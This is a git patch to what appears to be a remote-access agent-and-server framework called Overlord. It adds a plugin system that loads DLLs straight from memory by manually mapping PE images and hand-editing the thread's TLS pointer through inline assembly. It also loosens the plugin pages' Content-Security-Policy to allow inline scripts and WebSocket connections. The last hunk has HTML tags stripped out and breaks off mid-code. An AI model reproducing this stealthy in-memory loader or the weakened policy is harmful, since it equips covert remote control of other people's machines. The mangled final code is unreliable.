From fbe43e18c06570e47dc63349aedc90175425bdaf Mon Sep 17 00:00:00 2001
From: KingKDot
Date: Wed, 15 Apr 2026 20:16:12 -0500
Subject: [PATCH 01/10] new plugins system
---
.../cmd/agent/plugins/loader_windows.go | 243 +++++++++++-------
.../cmd/agent/plugins/peloader_windows.go | 208 +++++++++++----
Overlord-Client/cmd/agent/plugins/teb_amd64.s | 9 +
Overlord-Server/src/main-server.ts | 3 +-
Overlord-Server/src/server/http-utils.ts | 2 +-
.../src/server/routes/plugin-routes.ts | 58 +++--
6 files changed, 349 insertions(+), 174 deletions(-)
create mode 100644 Overlord-Client/cmd/agent/plugins/teb_amd64.s
diff --git a/Overlord-Client/cmd/agent/plugins/loader_windows.go b/Overlord-Client/cmd/agent/plugins/loader_windows.go
index 977a38d..9ace27b 100644
--- a/Overlord-Client/cmd/agent/plugins/loader_windows.go
+++ b/Overlord-Client/cmd/agent/plugins/loader_windows.go
@@ -5,7 +5,7 @@ package plugins
import (
"errors"
"fmt"
- "sync"
+ "runtime"
"syscall"
"unsafe"
)
@@ -15,59 +15,96 @@ func loadNativePlugin(data []byte) (NativePlugin, error) {
return nil, errors.New("empty plugin binary")
}
- mm, err := LoadMemoryModule(data)
- if err != nil {
- return nil, fmt.Errorf("pe load: %w", err)
+ type initResult struct {
+ dp *dllPlugin
+ err error
}
+ ch := make(chan initResult, 1)
- if err := mm.CallEntryPoint(dllProcessAttach); err != nil {
- mm.Free()
- return nil, fmt.Errorf("DllMain init: %w", err)
- }
+ go func() {
+ runtime.LockOSThread()
- onLoad, err := mm.GetExport("PluginOnLoad")
- if err != nil {
- mm.Free()
- return nil, err
- }
- onEvent, err := mm.GetExport("PluginOnEvent")
- if err != nil {
- mm.Free()
- return nil, err
- }
- onUnload, err := mm.GetExport("PluginOnUnload")
- if err != nil {
- mm.Free()
- return nil, err
- }
+ mm, err := LoadMemoryModule(data)
+ if err != nil {
+ ch <- initResult{err: fmt.Errorf("pe load: %w", err)}
+ runtime.UnlockOSThread()
+ return
+ }
- setCallback, _ := mm.GetExport("PluginSetCallback")
+ if err := mm.CallEntryPoint(dllProcessAttach); err != nil {
+ mm.Free()
+ ch <- initResult{err: fmt.Errorf("DllMain init: %w", err)}
+ runtime.UnlockOSThread()
+ return
+ }
- runtime := "go"
- if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil {
- ret, _, _ := syscall.SyscallN(getRuntimeAddr)
- if ret != 0 {
- var buf [32]byte
- for i := range buf {
- b := *(*byte)(unsafe.Pointer(ret + uintptr(i)))
- if b == 0 {
- runtime = string(buf[:i])
- break
+ onLoad, err := mm.GetExport("PluginOnLoad")
+ if err != nil {
+ mm.Free()
+ ch <- initResult{err: err}
+ runtime.UnlockOSThread()
+ return
+ }
+ onEvent, err := mm.GetExport("PluginOnEvent")
+ if err != nil {
+ mm.Free()
+ ch <- initResult{err: err}
+ runtime.UnlockOSThread()
+ return
+ }
+ onUnload, err := mm.GetExport("PluginOnUnload")
+ if err != nil {
+ mm.Free()
+ ch <- initResult{err: err}
+ runtime.UnlockOSThread()
+ return
+ }
+
+ setCallback, _ := mm.GetExport("PluginSetCallback")
+
+ rt := "go"
+ if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil {
+ ret, _, _ := syscall.SyscallN(getRuntimeAddr)
+ if ret != 0 {
+ var buf [32]byte
+ for i := range buf {
+ b := *(*byte)(unsafe.Pointer(ret + uintptr(i)))
+ if b == 0 {
+ rt = string(buf[:i])
+ break
+ }
+ buf[i] = b
}
- buf[i] = b
}
}
- }
- dp := &dllPlugin{
- mem: mm,
- onLoadAddr: onLoad,
- onEventAddr: onEvent,
- onUnloadAddr: onUnload,
- setCallbackAddr: setCallback,
- pluginRuntime: runtime,
+ dp := &dllPlugin{
+ mem: mm,
+ onLoadAddr: onLoad,
+ onEventAddr: onEvent,
+ onUnloadAddr: onUnload,
+ setCallbackAddr: setCallback,
+ pluginRuntime: rt,
+ workCh: make(chan pluginWork),
+ }
+
+ ch <- initResult{dp: dp}
+
+ dp.workerLoop()
+
+ runtime.UnlockOSThread()
+ }()
+
+ res := <-ch
+ if res.err != nil {
+ return nil, res.err
}
- return dp, nil
+ return res.dp, nil
+}
+
+type pluginWork struct {
+ fn func() error
+ done chan error
}
type dllPlugin struct {
@@ -78,76 +115,94 @@ type dllPlugin struct {
setCallbackAddr uintptr
callbackHandle uintptr // prevent GC of the callback closure
pluginRuntime string // "go", "c", "cpp", etc.
- mu sync.Mutex
+ workCh chan pluginWork
+}
+
+func (p *dllPlugin) workerLoop() {
+ for w := range p.workCh {
+ w.done <- w.fn()
+ }
+}
+
+func (p *dllPlugin) runOnWorker(fn func() error) error {
+ done := make(chan error, 1)
+ p.workCh <- pluginWork{fn: fn, done: done}
+ return <-done
}
func (p *dllPlugin) Load(send func(string, []byte), hostInfo []byte) error {
- p.mu.Lock()
- defer p.mu.Unlock()
+ return p.runOnWorker(func() error {
+ // Create a stdcall callback the DLL can invoke to send events to the host.
+ cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr {
+ event := make([]byte, eventLen)
+ if eventLen > 0 {
+ copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen))
+ }
+ payload := make([]byte, payloadLen)
+ if payloadLen > 0 {
+ copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen))
+ }
+ send(string(event), payload)
+ return 0
+ })
+ p.callbackHandle = cb
- // Create a stdcall callback the DLL can invoke to send events to the host.
- cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr {
- event := make([]byte, eventLen)
- if eventLen > 0 {
- copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen))
+ if p.setCallbackAddr != 0 {
+ syscall.SyscallN(p.setCallbackAddr, cb)
}
- payload := make([]byte, payloadLen)
- if payloadLen > 0 {
- copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen))
+
+ var infoPtr uintptr
+ infoLen := uintptr(len(hostInfo))
+ if len(hostInfo) > 0 {
+ infoPtr = uintptr(unsafe.Pointer(&hostInfo[0]))
}
- send(string(event), payload)
- return 0
+ ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb)
+ if int32(ret) != 0 {
+ return errors.New("PluginOnLoad returned non-zero")
+ }
+ return nil
})
- p.callbackHandle = cb
-
- if p.setCallbackAddr != 0 {
- syscall.SyscallN(p.setCallbackAddr, cb)
- }
-
- var infoPtr uintptr
- infoLen := uintptr(len(hostInfo))
- if len(hostInfo) > 0 {
- infoPtr = uintptr(unsafe.Pointer(&hostInfo[0]))
- }
- ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb)
- if int32(ret) != 0 {
- return errors.New("PluginOnLoad returned non-zero")
- }
- return nil
}
func (p *dllPlugin) Event(event string, payload []byte) error {
- p.mu.Lock()
- defer p.mu.Unlock()
-
eventBytes := []byte(event)
- var eventPtr, payloadPtr uintptr
- eventLen := uintptr(len(eventBytes))
- payloadLen := uintptr(len(payload))
- if len(eventBytes) > 0 {
- eventPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
- }
- if len(payload) > 0 {
- payloadPtr = uintptr(unsafe.Pointer(&payload[0]))
- }
+ payloadCopy := make([]byte, len(payload))
+ copy(payloadCopy, payload)
- ret, _, _ := syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen)
- if int32(ret) != 0 {
- return errors.New("PluginOnEvent returned non-zero")
- }
+ go func() {
+ runtime.LockOSThread()
+ defer runtime.UnlockOSThread()
+
+ cleanup := p.mem.SetupThreadTLS()
+ defer cleanup()
+
+ var eventPtr, payloadPtr uintptr
+ eventLen := uintptr(len(eventBytes))
+ payloadLen := uintptr(len(payloadCopy))
+ if len(eventBytes) > 0 {
+ eventPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
+ }
+ if len(payloadCopy) > 0 {
+ payloadPtr = uintptr(unsafe.Pointer(&payloadCopy[0]))
+ }
+
+ syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen)
+ }()
return nil
}
func (p *dllPlugin) Unload() {
- p.mu.Lock()
- defer p.mu.Unlock()
- if p.onUnloadAddr != 0 {
- syscall.SyscallN(p.onUnloadAddr)
- }
+ _ = p.runOnWorker(func() error {
+ if p.onUnloadAddr != 0 {
+ syscall.SyscallN(p.onUnloadAddr)
+ }
+ return nil
+ })
}
func (p *dllPlugin) Close() error {
p.Unload()
+ close(p.workCh)
if p.pluginRuntime != "go" {
if p.mem != nil {
p.mem.Free()
diff --git a/Overlord-Client/cmd/agent/plugins/peloader_windows.go b/Overlord-Client/cmd/agent/plugins/peloader_windows.go
index dc02db7..75c8371 100644
--- a/Overlord-Client/cmd/agent/plugins/peloader_windows.go
+++ b/Overlord-Client/cmd/agent/plugins/peloader_windows.go
@@ -11,6 +11,8 @@ import (
"golang.org/x/sys/windows"
)
+func currentTEB() uintptr
+
const (
imageDOSSignature = 0x5A4D // "MZ"
imageNTSignature = 0x00004550 // "PE\0\0"
@@ -123,14 +125,18 @@ type imageTLSDirectory64 struct {
}
type MemoryModule struct {
- base uintptr
- size uintptr
- entryPoint uintptr
- exports map[string]uintptr
- importDLLs []windows.Handle
- initialized bool
- tlsIndex uint32
- tlsData uintptr
+ base uintptr
+ size uintptr
+ entryPoint uintptr
+ exports map[string]uintptr
+ importDLLs []windows.Handle
+ initialized bool
+ tlsIndex uint32
+ tlsData uintptr
+ tlsArrayAlloc uintptr // our VirtualAlloc'd ThreadLocalStoragePointer array
+ tlsTemplSrc uintptr // PE template raw data start (for copying to new threads)
+ tlsTemplSize uintptr // dataSize (template bytes to copy)
+ tlsTotalSize uintptr // dataSize + zeroFill (total allocation per thread)
}
func LoadMemoryModule(data []byte) (*MemoryModule, error) {
@@ -293,8 +299,8 @@ func (mm *MemoryModule) Free() {
if mm.tlsIndex != 0xFFFFFFFF {
if mm.tlsData != 0 {
_ = windows.VirtualFree(mm.tlsData, 0, windows.MEM_RELEASE)
+ mm.tlsData = 0
}
- procTlsFree.Call(uintptr(mm.tlsIndex))
}
for _, h := range mm.importDLLs {
_ = windows.FreeLibrary(h)
@@ -431,30 +437,78 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
tls := (*imageTLSDirectory64)(unsafe.Pointer(mm.base + uintptr(tlsDir.VirtualAddress)))
- idx, _, _ := procTlsAlloc.Call()
- if idx == 0xFFFFFFFF {
- return
- }
- mm.tlsIndex = uint32(idx)
-
- if tls.AddressOfIndex != 0 {
- *(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = mm.tlsIndex
- }
-
dataSize := uintptr(tls.EndAddressOfRawData - tls.StartAddressOfRawData)
totalSize := dataSize + uintptr(tls.SizeOfZeroFill)
+
+ var tlsData uintptr
if totalSize > 0 {
- tlsData, err := windows.VirtualAlloc(0, totalSize,
+ var err error
+ tlsData, err = windows.VirtualAlloc(0, totalSize,
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
- if err == nil && tlsData != 0 {
- if dataSize > 0 {
- copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize)
- }
- procTlsSetValue.Call(uintptr(mm.tlsIndex), tlsData)
- mm.tlsData = tlsData
+ if err != nil || tlsData == 0 {
+ return
+ }
+ if dataSize > 0 {
+ copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize)
}
}
+ tebAddr := currentTEB()
+ tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58)) // ThreadLocalStoragePointer
+ oldArray := *tlsArrayField
+
+ var newIndex uint32
+ ptrSize := unsafe.Sizeof(uintptr(0))
+
+ if oldArray == 0 {
+ newArray, err := windows.VirtualAlloc(0, ptrSize,
+ windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
+ if err != nil || newArray == 0 {
+ if tlsData != 0 {
+ _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
+ }
+ return
+ }
+ *(*uintptr)(unsafe.Pointer(newArray)) = tlsData
+ *tlsArrayField = newArray
+ newIndex = 0
+ mm.tlsArrayAlloc = newArray
+ } else {
+ var count uint32
+ for count = 0; count < 256; count++ {
+ entry := *(*uintptr)(unsafe.Pointer(oldArray + uintptr(count)*ptrSize))
+ if entry == 0 {
+ break
+ }
+ }
+ newSize := uintptr(count+1) * ptrSize
+ newArray, err := windows.VirtualAlloc(0, newSize,
+ windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
+ if err != nil || newArray == 0 {
+ if tlsData != 0 {
+ _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
+ }
+ return
+ }
+ if count > 0 {
+ copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), uintptr(count)*ptrSize)
+ }
+ *(*uintptr)(unsafe.Pointer(newArray + uintptr(count)*ptrSize)) = tlsData
+ *tlsArrayField = newArray
+ newIndex = count
+ mm.tlsArrayAlloc = newArray
+ }
+
+ if tls.AddressOfIndex != 0 {
+ *(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = newIndex
+ }
+
+ mm.tlsIndex = newIndex
+ mm.tlsData = tlsData
+ mm.tlsTemplSrc = uintptr(tls.StartAddressOfRawData)
+ mm.tlsTemplSize = dataSize
+ mm.tlsTotalSize = totalSize
+
if tls.AddressOfCallBacks != 0 {
cbAddr := uintptr(tls.AddressOfCallBacks)
for {
@@ -468,6 +522,61 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
}
}
+func (mm *MemoryModule) SetupThreadTLS() func() {
+ if mm.tlsIndex == 0xFFFFFFFF || mm.tlsTotalSize == 0 {
+ return func() {}
+ }
+
+ tlsData, err := windows.VirtualAlloc(0, mm.tlsTotalSize,
+ windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
+ if err != nil || tlsData == 0 {
+ return func() {}
+ }
+ if mm.tlsTemplSize > 0 {
+ copyMem(tlsData, (*byte)(unsafe.Pointer(mm.tlsTemplSrc)), mm.tlsTemplSize)
+ }
+
+ ptrSize := unsafe.Sizeof(uintptr(0))
+ tebAddr := currentTEB()
+ tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58))
+ oldArray := *tlsArrayField
+
+ var newArray uintptr
+ if oldArray == 0 {
+ arrSize := uintptr(mm.tlsIndex+1) * ptrSize
+ newArray, err = windows.VirtualAlloc(0, arrSize,
+ windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
+ if err != nil || newArray == 0 {
+ _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
+ return func() {}
+ }
+ *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData
+ *tlsArrayField = newArray
+ } else {
+ needed := uintptr(mm.tlsIndex+1) * ptrSize
+ newArray, err = windows.VirtualAlloc(0, needed,
+ windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
+ if err != nil || newArray == 0 {
+ _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
+ return func() {}
+ }
+ copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), needed)
+ *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData
+ *tlsArrayField = newArray
+ }
+
+ return func() {
+ _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
+ if newArray != 0 {
+ *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = 0
+ _ = windows.VirtualFree(newArray, 0, windows.MEM_RELEASE)
+ }
+ tebNow := currentTEB()
+ field := (*uintptr)(unsafe.Pointer(tebNow + 0x58))
+ *field = oldArray
+ }
+}
+
func peString(addr uintptr) string {
var buf []byte
for i := 0; i < 4096; i++ { // safety limit
@@ -480,45 +589,42 @@ func peString(addr uintptr) string {
return string(buf)
}
-var (
- modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
- procGetProcAddr = modKernel32.NewProc("GetProcAddress")
- procTlsAlloc = modKernel32.NewProc("TlsAlloc")
- procTlsSetValue = modKernel32.NewProc("TlsSetValue")
- procTlsFree = modKernel32.NewProc("TlsFree")
-)
-
-func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) {
- r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal))
- if r == 0 {
- return 0, fmt.Errorf("GetProcAddress ordinal %d: %w", ordinal, err)
+func copyMem(dst uintptr, src *byte, size uintptr) {
+ for i := uintptr(0); i < size; i++ {
+ *(*byte)(unsafe.Pointer(dst + i)) = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(src)) + i))
}
- return r, nil
}
func sectionProtection(chars uint32) uint32 {
- exec := chars&imageSCNMemExecute != 0
- read := chars&imageSCNMemRead != 0
- write := chars&imageSCNMemWrite != 0
+ r := chars&imageSCNMemRead != 0
+ w := chars&imageSCNMemWrite != 0
+ x := chars&imageSCNMemExecute != 0
switch {
- case exec && write:
+ case x && w:
return windows.PAGE_EXECUTE_READWRITE
- case exec && read:
+ case x && r:
return windows.PAGE_EXECUTE_READ
- case exec:
+ case x:
return windows.PAGE_EXECUTE
- case write:
+ case w:
return windows.PAGE_READWRITE
- case read:
+ case r:
return windows.PAGE_READONLY
default:
return windows.PAGE_NOACCESS
}
}
-func copyMem(dst uintptr, src *byte, size uintptr) {
- dstSlice := unsafe.Slice((*byte)(unsafe.Pointer(dst)), size)
- srcSlice := unsafe.Slice(src, size)
- copy(dstSlice, srcSlice)
+var (
+ modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
+ procGetProcAddr = modKernel32.NewProc("GetProcAddress")
+)
+
+func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) {
+ r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal))
+ if r == 0 {
+ return 0, fmt.Errorf("pe: GetProcAddress ordinal %d: %w", ordinal, err)
+ }
+ return r, nil
}
diff --git a/Overlord-Client/cmd/agent/plugins/teb_amd64.s b/Overlord-Client/cmd/agent/plugins/teb_amd64.s
new file mode 100644
index 0000000..6810482
--- /dev/null
+++ b/Overlord-Client/cmd/agent/plugins/teb_amd64.s
@@ -0,0 +1,9 @@
+#include "textflag.h"
+
+// func currentTEB() uintptr
+TEXT ·currentTEB(SB),NOSPLIT,$0-8
+ // mov rax, gs:[0x30] — read the TEB self-pointer
+ BYTE $0x65; BYTE $0x48; BYTE $0x8B; BYTE $0x04; BYTE $0x25
+ LONG $0x00000030
+ MOVQ AX, ret+0(FP)
+ RET
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index 3224404..34fe8fe 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -39,7 +39,7 @@ import { isAuthorizedAgentRequest } from "./server/agent-auth";
import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
import { CORS_HEADERS } from "./server/http-security";
-import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils";
+import { mimeType, secureHeaders } from "./server/http-utils";
import { sanitizePluginId } from "./server/plugin-utils";
import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch";
import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch";
@@ -421,7 +421,6 @@ async function startServer() {
enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent,
drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents,
secureHeaders,
- securePluginHeaders,
mimeType,
},
fileShare: {
diff --git a/Overlord-Server/src/server/http-utils.ts b/Overlord-Server/src/server/http-utils.ts
index 5b63f51..7c0b236 100644
--- a/Overlord-Server/src/server/http-utils.ts
+++ b/Overlord-Server/src/server/http-utils.ts
@@ -11,7 +11,7 @@ export function securePluginHeaders() {
return {
...SECURITY_HEADERS,
"X-Frame-Options": "SAMEORIGIN",
- "Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
+ "Content-Security-Policy": "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self' wss: ws:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
};
}
diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts
index 762ccf5..6628fc4 100644
--- a/Overlord-Server/src/server/routes/plugin-routes.ts
+++ b/Overlord-Server/src/server/routes/plugin-routes.ts
@@ -46,7 +46,6 @@ type PluginRouteDeps = {
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>;
secureHeaders: (contentType?: string) => Record;
- securePluginHeaders: () => Record;
mimeType: (path: string) => string;
};
@@ -715,7 +714,6 @@ export async function handlePluginRoutes(
const raw = await file.text();
const baseTag = ``;
- const bridgeTag = ``;
let injected = raw;
const headMatch = raw.match(/]*>/i);
@@ -723,16 +721,8 @@ export async function handlePluginRoutes(
injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`);
}
- if (injected.includes("")) {
- injected = injected.replace("", ` ${bridgeTag}\n `);
- } else if (injected.includes("
]*>([\s\S]*?)<\/body>/i);
+ pluginBody = bodyMatch ? bodyMatch[1] : raw;
+
+ const headMatch = raw.match(/]*>([\s\S]*?)<\/head>/i);
+ if (headMatch) {
+ const headContent = headMatch[1];
+ const linkTags = headContent.match(/]*>/gi) || [];
+ const styleTags = headContent.match(/